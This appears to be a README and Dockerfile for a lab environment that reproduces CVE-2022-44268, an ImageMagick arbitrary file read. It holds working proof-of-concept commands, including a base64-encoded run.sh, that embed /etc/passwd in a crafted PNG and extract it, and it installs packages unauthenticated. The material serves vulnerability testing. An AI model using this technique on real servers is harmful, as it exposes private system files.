y1nglamore/cve-2022-44268-imagemagick-vulnerable-docker-environmentThe vulnerable recurrence docker environment for CVE-2022-44268
PoC CVE-2022-44268 ImageMagick Arbitrary File Read PoC를 기반으로 docker를 사용하여 취약점 테스트 환경을 만들었습니다.
# get image
docker pull y1nglamore/cve_2022_44268:latest # you can also build from Dockerfile
# run container
docker run --rm -i -t y1nglamore/cve_2022_44268 /bin/bash
그러면 컨테이너로 진입하게 되며, ./run.sh FILEPATH를 사용하면 imagemagick이 파일을 읽습니다.
기본적으로 ./run.sh는 /etc/passwd를 읽습니다.
또는 다음 명령어를 수동으로 실행할 수 있습니다.
pngcrush -text a "profile" "/etc/passwd" 1.png
exiv2 -pS pngout.png
convert pngout.png gopro.png
identify -verbose gopro.png
FROM ubuntu:20.04
RUN apt update --allow-insecure-repositories
RUN apt-get install pngcrush -y --allow-unauthenticated
RUN apt-get install imagemagick -y --allow-unauthenticated
RUN apt-get install exiftool exiv2 wget -y --allow-unauthenticated
RUN apt-get install xxd -y --allow-unauthenticated
WORKDIR /root
RUN wget http://cdn2.pic.y1ng.vip/uPic/2023/02/03/m1-145410_1.png -O 1.png
RUN echo 'IyEvYmluL2Jhc2gKCmlmIFsgLXogIiQxIiBdOyB0aGVuCiAgICBmaWxlPSIvZXRjL3Bhc3N3ZCIKZWxzZQogICAgZmlsZT0iJDEiCmZpCgpwbmdjcnVzaCAtdGV4dCBhICJwcm9maWxlIiAiJGZpbGUiIDEucG5nIApleGl2MiAtcFMgcG5nb3V0LnBuZyAKY29udmVydCBwbmdvdXQucG5nIGdvcHJvLnBuZyAKCmlkZW50aWZ5IC12ZXJib3NlIGdvcHJvLnBuZyB8IGdyZXAgLWUgIl5bMC05YS1mXSokIiB8ICBncmVwIC4gfCB4eGQgLXIgLXAK' | base64 -d > run.sh
RUN chmod +x run.sh
CMD sleep infinity
https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC